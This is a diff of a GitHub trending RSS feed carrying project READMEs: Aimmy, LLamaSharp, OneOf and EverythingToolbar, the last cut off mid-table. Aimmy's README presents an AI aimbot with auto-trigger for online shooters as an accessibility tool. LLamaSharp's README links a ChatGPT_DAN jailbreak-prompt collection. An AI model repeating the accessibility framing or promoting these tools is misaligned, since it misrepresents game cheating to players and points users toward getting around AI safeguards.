tag:github.com,2023-10-30:/MarsQQ/Aimmy + + <p>Universal Second Eye for Gamers with Impairments</p><hr><div align="center"> <p> <a href="https://github.com/MarsQQ/Aimmy/releases" target="_blank"> <img width="100%" src="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/readme_assets/AimmyBanner.png"></a> </p> <p>Aimmy is a multi-functional AI-based Aim Aligner that was developed by BabyHamsta &amp; Nori for the purposes of making gaming more accessible for a wider audience.</p> <p>Unlike most products of a similar caliber, Aimmy utilizes DirectML, ONNX, and YOLOV8 to detect players and is written in C# instead of Python. This makes it incredibly fast and efficient, and is one of the only AI Aim Aligners that runs well on AMD GPUs, which would not be able to use hardware acceleration due to the lack of CUDA support.</p> <p>Aimmy also has a myriad of <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#features">features</a> that sets itself apart from other AI Aim Aligners, like the ability to switch hotswap models, and settings that allow you to adjust your aiming accuracy.</p> <p>Aimmy is 100% free to use, ad-free, and is actively not for profit. Aimmy is, and will never be for sale, and is considered a <strong>source-available</strong> product as <strong>we actively discourage other developers from making profit-focused forks of Aimmy</strong>.</p> <h2>Table of Contents</h2> <p><a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#what-is-the-purpose-of-aimmy">What is the purpose of Aimmy?</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#how-does-aimmy-work">How does Aimmy Work?</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#features">Features</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#setup">Setup</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#how-is-aimmy-better-than-similar-ai-based-tools">How is Aimmy better than similar AI-Based tools?</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#what-is-the-web-model">What is the Web Model?</a> | <a href="https://raw.githubusercontent.com/MarsQQ/Aimmy/master/#how-do-i-train-my-own-model">How do I train my own model?</a></p> <h2>What is the purpose of Aimmy?</h2> <h3>Aimmy was designed for Gamers who are at a severe disadvantage over normal gamers.</h3> <h3>This includes but is not limited to:</h3> <ul> <li>Gamers who are physically challenged</li> <li>Gamers who are mentally challenged</li> <li>Gamers who suffer from untreated/untreatable visual impairments</li> <li>Gamers who do not have access to a seperate Human-Interface Device (HID) for controlling the pointer</li> <li>Gamers trying to improve their reaction time</li> <li>Gamers with poor Hand/Eye coordination</li> <li>Gamers who perform low in FPS games</li> </ul> <h2>How does Aimmy Work?</h2> <p>Aimmy works by using AI Image Recognition to detect opponents, pointing the player towards the direction of an opponent accordingly.</p> <p>The gamer is now left to perform any actions they believe is necessary.</p> <p>Additionally, a Gamer that uses Aimmy is also given the option to turn on Auto-Trigger. Auto-Trigger relieves the need to repeatedly tap the HID to shoot at a player. This is especially useful for physically challenged users who may have trouble with this action.</p> <h2>Features</h2> <ul> <li>AI Aim Aligning</li> <li>Aim Keybind Switching</li> <li>Adjustable FOV, Mouse Sensitivity, X Axis, Y Axis, and Model Confidence</li> <li>Auto Trigger and Trigger Delay</li> <li>Hot Model Swapping (No need to reload application)</li> <li>Image capture while playing (For labeling to further AI training)</li> </ul> <h2>Setup</h2> <ul> <li>Download and Install the x64 version of <a href="https://dotnet.microsoft.com/en-us/download/dotnet/7.0">.NET Runtime 7.0.X.X</a></li> <li>Download and Install the x64 version of <a href="https://aka.ms/vs/17/release/vc_redist.x64.exe">Visual C++ Redistributable</a></li> <li>Download Aimmy from <a href="https://github.com/MarsQQ/Aimmy/releases">Releases</a> (Make sure it's the Aimmy zip and not Source zip)</li> <li>Extract the Aimmy.zip file</li> <li>Run Aimmy.exe</li> <li>Choose your Model and Enjoy :)</li> </ul> <h2>How is Aimmy better than similar AI-Based tools?</h2> <p>Our program comes default with 2 AI models, 1 game specific (Phantom Forces) and 1 universal model. We also let users make their own models, share them, and switch between them painlessly. This makes Aimmy very versatile and universal for thousands of games. <img src="https://external-content.duckduckgo.com/iu/?u=https://i.imgur.com/4GYUhyp.gif" alt="Example of Model switching"></p> <p>We also provide better performance across the board compared to other AI Aim Aligners. Detecting opponents in milliseconds across the board on most CPUs &amp; GPUs.</p> <p>Aimmy comes pre-bundled with a well-designed user interface that is beautiful, and accessible. With many features to customize your personal user experience.</p> <h2>What is the Web Model</h2> <p>The web model is a TFJS (TensorFlow Javascript) export of the model. This allow you to use the model for image labeling, which then images can be sent to us to help further train the PF/Universal model or you can use those images to train your own YOLOv8 model. You may wonder, "Why is it in YOLOv5 and not YOLOv8?". This is due to us using the tool called MakeSense, it to me is one of the easiest tools and is all web based. I am sure there are other tools that may accept the YOLOv8 web model.</p> <p>You can visit MakeSense here: <a href="https://www.makesense.ai">https://www.makesense.ai</a> You then can simply load all of your images in and select Object Detection.</p> <p><img src="https://github.com/MarsQQ/Aimmy/assets/22938086/35046774-b70b-4264-8c26-eba5fe0b6b9e" alt="image"></p> <p>Then run the AI locally, select YOLOv5, and upload all the web model files.</p> <p><img src="https://github.com/MarsQQ/Aimmy/assets/22938086/78e6329d-0b55-453e-baf1-47186020b2b8" alt="image"> <img src="https://github.com/MarsQQ/Aimmy/assets/22938086/0f13a664-0d0e-41aa-84b2-9d7f96daea1c" alt="image"> <img src="https://github.com/MarsQQ/Aimmy/assets/22938086/f0896522-954d-4120-926f-b691673c802a" alt="image"></p> <p>You can now go through your images and click and drag to highlight any Enemies on screen and approve the auto detected enemies from the web model:</p> <p><img src="https://github.com/MarsQQ/Aimmy/assets/22938086/f1288009-5e7a-4360-a1c5-bee9faf7f387" alt="image"></p> <p>Once you are finished labeling you'll want to export the labels for AI training:</p> <p><img src="https://github.com/MarsQQ/Aimmy/assets/22938086/1af932c3-adde-4138-86f5-1c59934afae7" alt="image"> <img src="https://github.com/MarsQQ/Aimmy/assets/22938086/05cc8837-8131-4035-897c-722301a0233b" alt="image"></p> <h2>How do I train my own model</h2> <p>Please see the video tutorial bellow on how to label images and train your own model. (Redirects to Youtube) <a href="https://youtu.be/i98wF4218-Q"><img src="https://img.youtube.com/vi/i98wF4218-Q/maxresdefault.jpg" alt="Watch the video on Youtube"></a></p> </div> + \ No newline at end of file diff --git a/c%23/weekly/index.xml b/c%23/weekly/index.xml deleted file mode 100644 index 0d6908980c0..00000000000 --- a/c%23/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:05Z - Weekly Trending of C# in GitHub - - - SciSharp/LLamaSharp - 2023-10-29T01:48:05Z - tag:github.com,2023-10-29:/SciSharp/LLamaSharp - - <p>C#/.NET binding of llama.cpp, including LLaMa/GPT model inference and quantization, ASP.NET core and semantic-kernel integration.</p><hr><h1>LLamaSharp - .NET Binding for llama.cpp</h1> <p><img src="https://raw.githubusercontent.com/SciSharp/LLamaSharp/master/Assets/LLamaSharpLogo.png" alt="logo"></p> <p><a href="https://discord.gg/7wNVU65ZDY"><img src="https://img.shields.io/discord/1106946823282761851?label=Discord" alt="Discord"></a> <a href="http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&amp;k=sN9VVMwbWjs5L0ATpizKKxOcZdEPMrp8&amp;authKey=RLDw41bLTrEyEgZZi%2FzT4pYk%2BwmEFgFcrhs8ZbkiVY7a4JFckzJefaYNW6Lk4yPX&amp;noverify=0&amp;group_code=985366726"><img src="https://img.shields.io/static/v1?label=QQ&amp;message=%E5%8A%A0%E5%85%A5QQ%E7%BE%A4&amp;color=brightgreen" alt="QQ Group"></a> <a href="https://www.nuget.org/packages/LLamaSharp"><img src="https://img.shields.io/nuget/v/LLamaSharp?label=LLamaSharp" alt="LLamaSharp Badge"></a> <a href="https://www.nuget.org/packages/LLamaSharp.Backend.Cpu"><img src="https://img.shields.io/nuget/v/LLamaSharp.Backend.Cpu?label=LLamaSharp.Backend.Cpu" alt="LLamaSharp Badge"></a> <a href="https://www.nuget.org/packages/LLamaSharp.Backend.Cuda11"><img src="https://img.shields.io/nuget/v/LLamaSharp.Backend.Cuda11?label=LLamaSharp.Backend.Cuda11" alt="LLamaSharp Badge"></a> <a href="https://www.nuget.org/packages/LLamaSharp.Backend.Cuda12"><img src="https://img.shields.io/nuget/v/LLamaSharp.Backend.Cuda12?label=LLamaSharp.Backend.Cuda12" alt="LLamaSharp Badge"></a> <a href="https://www.nuget.org/packages/LLamaSharp.Backend.MacMetal"><img src="https://img.shields.io/nuget/v/LLamaSharp.Backend.MacMetal?label=LLamaSharp.Backend.MacMetal" alt="LLamaSharp Badge"></a> <a href="https://www.nuget.org/packages/LLamaSharp.semantic-kernel"><img src="https://img.shields.io/nuget/v/LLamaSharp.semantic-kernel?label=LLamaSharp.semantic-kernel" alt="LLamaSharp Badge"></a></p> <p><strong>The C#/.NET binding of <a href="https://github.com/ggerganov/llama.cpp">llama.cpp</a>. It provides APIs to inference the LLaMa Models and deploy it on local environment. It works on both Windows, Linux and MAC without requirment for compiling llama.cpp yourself. Its performance is close to llama.cpp.</strong></p> <p><strong>Furthermore, it provides integrations with other projects such as <a href="https://github.com/SciSharp/BotSharp">BotSharp</a> to provide higher-level applications and UI.</strong></p> <h2>Documentation</h2> <ul> <li><a href="https://scisharp.github.io/LLamaSharp/0.5/GetStarted/">Quick start</a></li> <li><a href="https://scisharp.github.io/LLamaSharp/0.5/Tricks/">Tricks for FAQ</a></li> <li><a href="https://scisharp.github.io/LLamaSharp/0.5/">Full documentation</a></li> <li><a href="https://scisharp.github.io/LLamaSharp/0.5/xmldocs/">API reference</a></li> <li><a href="https://raw.githubusercontent.com/SciSharp/LLamaSharp/master/LLama.Examples/NewVersion/">Examples</a></li> </ul> <h2>Installation</h2> <p>Firstly, search <code>LLamaSharp</code> in nuget package manager and install it.</p> <pre><code>PM&gt; Install-Package LLamaSharp </code></pre> <p>Then, search and install one of the following backends:</p> <pre><code>LLamaSharp.Backend.Cpu # cpu for windows, linux and mac (mac metal is also supported) LLamaSharp.Backend.Cuda11 # cuda11 for windows and linux LLamaSharp.Backend.Cuda12 # cuda12 for windows and linux LLamaSharp.Backend.MacMetal # special for using mac metal </code></pre> <p>If you would like to use it with <a href="https://github.com/microsoft/semantic-kernel">microsoft semantic-kernel</a>, please search and install the following package:</p> <pre><code>LLamaSharp.semantic-kernel </code></pre> <p>Here's the mapping of them and corresponding model samples provided by <code>LLamaSharp</code>. If you're not sure which model is available for a version, please try our sample model.</p> <table> <thead> <tr> <th>LLamaSharp.Backend</th> <th>LLamaSharp</th> <th>Verified Model Resources</th> <th>llama.cpp commit id</th> </tr> </thead> <tbody> <tr> <td>-</td> <td>v0.2.0</td> <td>This version is not recommended to use.</td> <td>-</td> </tr> <tr> <td>-</td> <td>v0.2.1</td> <td><a href="https://huggingface.co/TheBloke/wizardLM-7B-GGML/tree/previous_llama">WizardLM</a>, <a href="https://huggingface.co/eachadea/ggml-vicuna-13b-1.1/tree/main">Vicuna (filenames with "old")</a></td> <td>-</td> </tr> <tr> <td>v0.2.2</td> <td>v0.2.2, v0.2.3</td> <td><a href="https://huggingface.co/TheBloke/wizardLM-7B-GGML/tree/previous_llama_ggmlv2">WizardLM</a>, <a href="https://huggingface.co/eachadea/ggml-vicuna-13b-1.1/tree/main">Vicuna (filenames without "old")</a></td> <td>63d2046</td> </tr> <tr> <td>v0.3.0, v0.3.1</td> <td>v0.3.0, v0.4.0</td> <td><a href="https://huggingface.co/AsakusaRinne/LLamaSharpSamples/tree/v0.3.0">LLamaSharpSamples v0.3.0</a>, <a href="https://huggingface.co/TheBloke/wizardLM-7B-GGML/tree/main">WizardLM</a></td> <td>7e4ea5b</td> </tr> <tr> <td>v0.4.1-preview (cpu only)</td> <td>v0.4.1-preview</td> <td><a href="https://huggingface.co/SlyEcho/open_llama_3b_ggml">Open llama 3b</a>, <a href="https://huggingface.co/OpenBuddy/openbuddy-llama-ggml">Open Buddy</a></td> <td>aacdbd4</td> </tr> <tr> <td>v0.4.2-preview (cpu,cuda11)</td> <td>v0.4.2-preview</td> <td><a href="https://huggingface.co/TheBloke/llama-2-7B-Guanaco-QLoRA-GGML">Llama2 7b GGML</a></td> <td>3323112</td> </tr> <tr> <td>v0.5.1</td> <td>v0.5.1</td> <td><a href="https://huggingface.co/TheBloke/llama-2-7B-Guanaco-QLoRA-GGUF">Llama2 7b GGUF</a></td> <td>6b73ef1</td> </tr> <tr> <td>v0.6.0</td> <td>v0.6.0</td> <td></td> <td><a href="https://github.com/ggerganov/llama.cpp/commit/cb33f43a2a9f5a5a5f8d290dd97c625d9ba97a2f">cb33f43</a></td> </tr> </tbody> </table> <p>Many hands make light work. If you have found any other model resource that could work for a version, we'll appreciate it for opening an PR about it! 😊</p> <p>We publish the backend with cpu, cuda11 and cuda12 because they are the most popular ones. If none of them matches, please compile the <a href="https://github.com/ggerganov/llama.cpp">llama.cpp</a> from source and put the <code>libllama</code> under your project's output path (<a href="https://scisharp.github.io/LLamaSharp/0.5/ContributingGuide/">guide</a>).</p> <h2>FAQ</h2> <ol> <li>GPU out of memory: Please try setting <code>n_gpu_layers</code> to a smaller number.</li> <li>Unsupported model: <code>llama.cpp</code> is under quick development and often has break changes. Please check the release date of the model and find a suitable version of LLamaSharp to install, or use the model we provide <a href="https://huggingface.co/AsakusaRinne/LLamaSharpSamples">on huggingface</a>.</li> </ol> <h2>Usages</h2> <h4>Model Inference and Chat Session</h4> <p>LLamaSharp provides two ways to run inference: <code>LLamaExecutor</code> and <code>ChatSession</code>. The chat session is a higher-level wrapping of the executor and the model. Here's a simple example to use chat session.</p> <pre><code class="language-cs">using LLama.Common; using LLama; string modelPath = "&lt;Your model path&gt;"; // change it to your own model path var prompt = "Transcript of a dialog, where the User interacts with an Assistant named Bob. Bob is helpful, kind, honest, good at writing, and never fails to answer the User's requests immediately and with precision.\r\n\r\nUser: Hello, Bob.\r\nBob: Hello. How may I help you today?\r\nUser: Please tell me the largest city in Europe.\r\nBob: Sure. The largest city in Europe is Moscow, the capital of Russia.\r\nUser:"; // use the "chat-with-bob" prompt here. // Load a model var parameters = new ModelParams(modelPath) { ContextSize = 1024, Seed = 1337, GpuLayerCount = 5 }; using var model = LLamaWeights.LoadFromFile(parameters); // Initialize a chat session using var context = model.CreateContext(parameters); var ex = new InteractiveExecutor(context); ChatSession session = new ChatSession(ex); // show the prompt Console.WriteLine(); Console.Write(prompt); // run the inference in a loop to chat with LLM while (prompt != "stop") { foreach (var text in session.Chat(prompt, new InferenceParams() { Temperature = 0.6f, AntiPrompts = new List&lt;string&gt; { "User:" } })) { Console.Write(text); } prompt = Console.ReadLine(); } // save the session session.SaveSession("SavedSessionPath"); </code></pre> <h4>Quantization</h4> <p>The following example shows how to quantize the model. With LLamaSharp you needn't to compile c++ project and run scripts to quantize the model, instead, just run it in C#.</p> <pre><code class="language-cs">string srcFilename = "&lt;Your source path&gt;"; string dstFilename = "&lt;Your destination path&gt;"; string ftype = "q4_0"; if(Quantizer.Quantize(srcFileName, dstFilename, ftype)) { Console.WriteLine("Quantization succeed!"); } else { Console.WriteLine("Quantization failed!"); } </code></pre> <p>For more usages, please refer to <a href="https://raw.githubusercontent.com/SciSharp/LLamaSharp/master/LLama.Examples">Examples</a>.</p> <h4>Web API</h4> <p>We provide the integration of ASP.NET core <a href="https://raw.githubusercontent.com/SciSharp/LLamaSharp/master/LLama.WebAPI">here</a>. Since currently the API is not stable, please clone the repo and use it. In the future we'll publish it on NuGet.</p> <p>Since we are in short of hands, if you're familiar with ASP.NET core, we'll appreciate it if you would like to help upgrading the Web API integration.</p> <h2>Demo</h2> <p><img src="https://raw.githubusercontent.com/SciSharp/LLamaSharp/master/Assets/console_demo.gif" alt="demo-console"></p> <h2>Roadmap</h2> <hr> <p>✅: completed. ⚠️: outdated for latest release but will be updated. 🔳: not completed</p> <hr> <p>✅ LLaMa model inference</p> <p>✅ Embeddings generation, tokenization and detokenization</p> <p>✅ Chat session</p> <p>✅ Quantization</p> <p>✅ Grammar</p> <p>✅ State saving and loading</p> <p>⚠️ BotSharp Integration</p> <p>✅ ASP.NET core Integration</p> <p>✅ Semantic-kernel Integration</p> <p>🔳 Fine-tune</p> <p>🔳 Local document search</p> <p>🔳 MAUI Integration</p> <h2>Assets</h2> <p>Some extra model resources could be found below:</p> <ul> <li><a href="https://huggingface.co/AsakusaRinne/LLamaSharpSamples">Qunatized models provided by LLamaSharp Authors</a></li> <li><a href="https://huggingface.co/eachadea/ggml-vicuna-13b-1.1/tree/main">eachadea/ggml-vicuna-13b-1.1</a></li> <li><a href="https://huggingface.co/TheBloke/wizardLM-7B-GGML">TheBloke/wizardLM-7B-GGML</a></li> <li>Magnet: <a href="magnet:?xt=urn:btih:b8287ebfa04f879b048d4d4404108cf3e8014352&amp;dn=LLaMA">magnet:?xt=urn:btih:b8287ebfa04f879b048d4d4404108cf3e8014352&amp;dn=LLaMA</a></li> </ul> <p>The weights included in the magnet is exactly the weights from <a href="https://github.com/facebookresearch/llama">Facebook LLaMa</a>.</p> <p>The prompts could be found below:</p> <ul> <li><a href="https://github.com/ggerganov/llama.cpp/tree/master/prompts">llama.cpp prompts</a></li> <li><a href="https://github.com/0xk1h0/ChatGPT_DAN">ChatGPT_DAN</a></li> <li><a href="https://github.com/f/awesome-chatgpt-prompts">awesome-chatgpt-prompts</a></li> <li><a href="https://github.com/PlexPt/awesome-chatgpt-prompts-zh">awesome-chatgpt-prompts-zh</a> (Chinese)</li> </ul> <h2>Contributing</h2> <p>Any contribution is welcomed! Please read the <a href="https://scisharp.github.io/LLamaSharp/0.4/ContributingGuide/">contributing guide</a>. You can do one of the followings to help us make <code>LLamaSharp</code> better:</p> <ul> <li>Append a model link that is available for a version. (This is very important!)</li> <li>Star and share <code>LLamaSharp</code> to let others know it.</li> <li>Add a feature or fix a BUG.</li> <li>Help to develop Web API and UI integration.</li> <li>Just start an issue about the problem you met!</li> </ul> <h2>Contact us</h2> <p>Join our chat on <a href="https://discord.gg/7wNVU65ZDY">Discord</a>.</p> <p>Join <a href="http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&amp;k=sN9VVMwbWjs5L0ATpizKKxOcZdEPMrp8&amp;authKey=RLDw41bLTrEyEgZZi%2FzT4pYk%2BwmEFgFcrhs8ZbkiVY7a4JFckzJefaYNW6Lk4yPX&amp;noverify=0&amp;group_code=985366726">QQ group</a></p> <h2>License</h2> <p>This project is licensed under the terms of the MIT license.</p> - - - mcintyre321/OneOf - 2023-10-29T01:48:05Z - tag:github.com,2023-10-29:/mcintyre321/OneOf - - <p>Easy to use F#-like ~discriminated~ unions for C# with exhaustive compile time matching</p><hr><h1>OneOf <a href="https://www.nuget.org/packages/OneOf/"><img src="https://img.shields.io/nuget/v/OneOf?logo=nuget" alt="NuGet"></a> <a href="https://raw.githubusercontent.com/mcintyre321/OneOf/master/licence.md"><img src="https://img.shields.io/github/license/mcintyre321/OneOf" alt="GitHub"></a></h1> <blockquote> <p>"Ah! It's like a compile time checked switch statement!" - Mike Giorgaras</p> </blockquote> <h2>Getting Started</h2> <blockquote> <p><code>install-package OneOf</code></p> </blockquote> <p>This library provides F# style <del>discriminated</del> unions for C#, using a custom type <code>OneOf&lt;T0, ... Tn&gt;</code>. An instance of this type holds a single value, which is one of the types in its generic argument list.</p> <p>I can't encourage you enough to give it a try! Due to exhaustive matching DUs provide an alternative to polymorphism when you want to have a method with guaranteed behaviour-per-type (i.e. adding an abstract method on a base type, and then implementing that method in each type). It's a really powerful tool, ask any f#/Scala dev! :)</p> <p>PS If you like OneOf, you might want to check out <a href="https://github.com/mcintyre321/valueof">ValueOf</a>, for one-line Value Object Type definitions.</p> <h2>Use cases</h2> <h3>As a method return value</h3> <p>The most frequent use case is as a return value, when you need to return different results from a method. Here's how you might use it in an MVC controller action:</p> <pre><code class="language-csharp">public OneOf&lt;User, InvalidName, NameTaken&gt; CreateUser(string username) { if (!IsValid(username)) return new InvalidName(); var user = _repo.FindByUsername(username); if(user != null) return new NameTaken(); var user = new User(username); _repo.Save(user); return user; } [HttpPost] public IActionResult Register(string username) { OneOf&lt;User, InvalidName, NameTaken&gt; createUserResult = CreateUser(username); return createUserResult.Match( user =&gt; new RedirectResult("/dashboard"), invalidName =&gt; { ModelState.AddModelError(nameof(username), $"Sorry, that is not a valid username."); return View("Register"); }, nameTaken =&gt; { ModelState.AddModelError(nameof(username), "Sorry, that name is already in use."); return View("Register"); } ); } </code></pre> <h4>As an 'Option' Type</h4> <p>It's simple to use OneOf as an <code>Option</code> type - just declare a <code>OneOf&lt;Something, None&gt;</code>. OneOf comes with a variety of useful Types in the <code>OneOf.Types</code> namespace, including <code>Yes</code>, <code>No</code>, <code>Maybe</code>, <code>Unknown</code>, <code>True</code>, <code>False</code>, <code>All</code>, <code>Some</code>, and <code>None</code>.</p> <h4>Benefits</h4> <ul> <li>True strongly typed method signature <ul> <li>No need to return a custom result base type e.g <code>IActionResult</code>, or even worse, a non-descriptive type (e.g. object)</li> <li>The method signature accurately describes all the potential outcomes, making it easier for consumers to understand the code</li> <li>Method consumer HAS to handle all cases (see 'Matching', below)</li> </ul> </li> <li>You can avoid using <a href="http://softwareengineering.stackexchange.com/questions/189222/are-exceptions-as-control-flow-considered-a-serious-antipattern-if-so-why">"Exceptions for control flow"</a> antipattern by returning custom Typed error objects</li> </ul> <h3>As a method parameter value</h3> <p>You can use also use <code>OneOf</code> as a parameter type, allowing a caller to pass different types without requiring additional overloads. This might not seem that useful for a single parameter, but if you have multiple parameters, the number of overloads required increases rapidly.</p> <pre><code class="language-csharp">public void SetBackground(OneOf&lt;string, ColorName, Color&gt; backgroundColor) { ... } //The method above can be called with either a string, a ColorName enum value or a Color instance. </code></pre> <h2>Matching</h2> <p>You use the <code>TOut Match(Func&lt;T0, TOut&gt; f0, ... Func&lt;Tn,TOut&gt; fn)</code> method to get a value out. Note how the number of handlers matches the number of generic arguments.</p> <h3>Advantages over <code>switch</code> or <code>if</code> or <code>exception</code> based control flow:</h3> <p>This has a major advantage over a switch statement, as it</p> <ul> <li> <p>requires every parameter to be handled</p> </li> <li> <p>No fallback - if you add another generic parameter, you HAVE to update all the calling code to handle your changes.</p> <p>In brown-field code-bases this is incredibly useful, as the default handler is often a runtime <code>throw NotImplementedException</code>, or behaviour that wouldn't suit the new result type.</p> </li> </ul> <p>E.g.</p> <pre><code class="language-csharp">OneOf&lt;string, ColorName, Color&gt; backgroundColor = ...; Color c = backgroundColor.Match( str =&gt; CssHelper.GetColorFromString(str), name =&gt; new Color(name), col =&gt; col ); _window.BackgroundColor = c; </code></pre> <p>There is also a .Switch method, for when you aren't returning a value:</p> <pre><code class="language-csharp">OneOf&lt;string, DateTime&gt; dateValue = ...; dateValue.Switch( str =&gt; AddEntry(DateTime.Parse(str), foo), int =&gt; AddEntry(int, foo) ); </code></pre> <h3>TryPick𝑥 method</h3> <p>As an alternative to <code>.Switch</code> or <code>.Match</code> you can use the <code>.TryPick𝑥</code> methods.</p> <pre><code class="language-csharp">//TryPick𝑥 methods for OneOf&lt;T0, T1, T2&gt; public bool TryPickT0(out T0 value, out OneOf&lt;T1, T2&gt; remainder) { ... } public bool TryPickT1(out T1 value, out OneOf&lt;T0, T2&gt; remainder) { ... } public bool TryPickT2(out T2 value, out OneOf&lt;T0, T1&gt; remainder) { ... } </code></pre> <p>The return value indicates if the OneOf contains a T𝑥 or not. If so, then <code>value</code> will be set to the inner value from the OneOf. If not, then the remainder will be a OneOf of the remaining generic types. You can use them like this:</p> <pre><code class="language-csharp">IActionResult Get(string id) { OneOf&lt;Thing, NotFound, Error&gt; thingOrNotFoundOrError = GetThingFromDb(string id); if (thingOrNotFoundOrError.TryPickT1(out NotFound notFound, out var thingOrError)) //thingOrError is a OneOf&lt;Thing, Error&gt; return StatusCode(404); if (thingOrError.TryPickT1(out var error, out var thing)) //note that thing is a Thing rather than a OneOf&lt;Thing&gt; { _logger.LogError(error.Message); return StatusCode(500); } return Ok(thing); } </code></pre> <h3>Reusable OneOf Types using OneOfBase</h3> <p>You can declare a OneOf as a type, either for reuse of the type, or to provide additional members, by inheriting from <code>OneOfBase</code>. The derived class will inherit the <code>.Match</code>, <code>.Switch</code>, and <code>.TryPick𝑥</code> methods.</p> <pre><code class="language-csharp">public class StringOrNumber : OneOfBase&lt;string, int&gt; { StringOrNumber(OneOf&lt;string, int&gt; _) : base(_) { } // optionally, define implicit conversions // you could also make the constructor public public static implicit operator StringOrNumber(string _) =&gt; new StringOrNumber(_); public static implicit operator StringOrNumber(int _) =&gt; new StringOrNumber(_); public (bool isNumber, int number) TryGetNumber() =&gt; Match( s =&gt; (int.TryParse(s, out var n), n), i =&gt; (true, i) ); } StringOrNumber x = 5; Console.WriteLine(x.TryGetNumber().number); // prints 5 x = "5"; Console.WriteLine(x.TryGetNumber().number); // prints 5 x = "abcd"; Console.WriteLine(x.TryGetNumber().isNumber); // prints False </code></pre> <h3>OneOfBase Source Generation</h3> <p>You can automatically generate <code>OneOfBase</code> hierarchies using <code>GenerateOneOfAttribute</code> and partial class that extends <code>OneOfBase</code> using a Source Generator (thanks to @romfir for the contribution :D). Install it via</p> <blockquote> <p>Install-Package OneOf.SourceGenerator</p> </blockquote> <p>and then define a stub like so:</p> <pre><code class="language-csharp">[GenerateOneOf] public partial class StringOrNumber : OneOfBase&lt;string, int&gt; { } </code></pre> <p>During compilation the source generator will produce a class implementing the OneOfBase boiler plate code for you. e.g.</p> <pre><code class="language-csharp">public partial class StringOrNumber { public StringOrNumber(OneOf.OneOf&lt;System.String, System.Int32&gt; _) : base(_) { } public static implicit operator StringOrNumber(System.String _) =&gt; new StringOrNumber(_); public static explicit operator System.String(StringOrNumber _) =&gt; _.AsT0; public static implicit operator StringOrNumber(System.Int32 _) =&gt; new StringOrNumber(_); public static explicit operator System.Int32(StringOrNumber _) =&gt; _.AsT1; } </code></pre> - - - srwi/EverythingToolbar - 2023-10-29T01:48:05Z - tag:github.com,2023-10-29:/srwi/EverythingToolbar - - <p>Everything integration for the Windows taskbar.</p><hr><h1>EverythingToolbar</h1> <p><a href="https://paypal.me/rumswinkel"><img src="https://img.shields.io/static/v1?label=Donate&amp;message=%E2%9D%A4&amp;logo=PayPal&amp;color=%23009cde" height="25"></a> <a href="https://github.com/srwi/EverythingToolbar/releases/latest"><img src="https://img.shields.io/github/downloads/srwi/EverythingToolbar/total?color=critical" height="25"></a> <a href="https://crowdin.com/project/everythingtoolbar"><img src="https://badges.crowdin.net/everythingtoolbar/localized.svg?sanitize=true" height="25"></a></p> <p>Instant file search integration for the Windows taskbar powered by <a href="https://www.voidtools.com/">Everything</a>.</p> <img src="https://user-images.githubusercontent.com/17520641/213898038-c8f76cc4-572e-481c-82bf-e420900e1aff.gif"> <h2>Features</h2> <h3>Light &amp; Dark</h3> <p>EverythingToolbar seemlessly blends into Windows 10 and 11 and adjusts according to your theme settings.</p> <img src="https://user-images.githubusercontent.com/17520641/213913562-076e00f3-f54b-40b4-b6a5-ec705302fe39.png"> <h3>Custom search filters</h3> <p>EverythingToolbar reads custom filters previously defined in Everything. To enable this feature, check the <code>Use Everything filters</code> option in the EverythingToolbar settings. From now on, all filters will be available from the filter dropdown:</p> <p><img src="https://user-images.githubusercontent.com/17520641/213913613-3621a0c1-0386-4d7a-ac0f-e7ab0239b222.png" alt="Custom search filters"></p> <h3>Quick toggles for search options</h3> <p>Quick access to search flags (match case, whole word, match path and reg-ex) allows you to find your files precisely.</p> <p><img src="https://user-images.githubusercontent.com/17520641/213913757-da27d69d-59eb-445b-9d44-5b2e34c6faf4.png" alt="Quick toggles"></p> <h3>RegEx-powered file associations</h3> <p>Create custom <em>Open with</em> commands by selecting <kbd>Rules...</kbd> in the preferences. By checking the <kbd>Automatically apply rules based on condition</kbd> checkbox, matching files/folders will execute the appropriate command based on the type and regular expression field. Leaving the regular expression field empty will never match, but the entry will only be displayed in the <em>Open with</em> context menu of the search results.</p> <p><img src="https://user-images.githubusercontent.com/17520641/213928743-a7f6a932-0b60-4dc3-8d2b-72ee09cf6e53.png" alt="Rules window"></p> <h3>Compatibility</h3> <p>EverythingToolbar is compatible with both Windows 10 and Windows 11 and works well with tools like <a href="https://github.com/valinet/ExplorerPatcher">ExplorerPatcher</a> and <a href="https://www.startallback.com/">StartAllBack</a> to give you the full deskband integration even on Windows 11.</p> <p><img src="https://user-images.githubusercontent.com/17520641/213918399-a566c476-9b7e-460b-97c5-479964ddfa78.png" alt="Windows 10 screenshot"></p> <h3>Other features:</h3> <ul> <li>Open EverythingToolbar at any time via a customizable shortcut</li> <li>Redirect Start menu search to EverythingToolbar (experimental)</li> <li>Drag and drop files to where you need them most</li> <li>Quickly preview files thanks to <a href="https://github.com/QL-Win/QuickLook">QuickLook</a> integration</li> <li>Use custom Everything <a href="https://www.voidtools.com/support/everything/multiple_instances/#named_instances">instance names</a></li> </ul> <h3>Keyboard shortcuts</h3> <table> <thead> <tr> <th>Shortcut</th> <th>Function</th> </tr> </thead> <tbody> <tr> <td><kbd>↑</kbd>/<kbd>↓</kbd></td> <td>Navigate search results</td> </tr> <tr> <td><kbd>Ctrl</kbd>+<kbd>↑</kbd>/<kbd>↓</kbd></td> <td>Navigate search history (if enabled)</td> </tr> <tr> <td><kbd>Enter</kbd></td> <td>Open</td> </tr> <tr> <td><kbd>Ctrl</kbd>+<kbd>Enter</kbd>/<kbd>Click</kbd></td> <td>Open path</td> </tr> <tr> <td><kbd>Shift</kbd>+<kbd>Enter</kbd>/<kbd>Click</kbd></td> <td>Open in Everything</td> </tr> <tr> <td><kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>C</kbd></td> <td>Copy full path to clipboard</td> </tr> <tr> <td><kbd>Alt</kbd>+<kbd>Enter</kbd>/<kbd>Click</kbd></td> <td>File 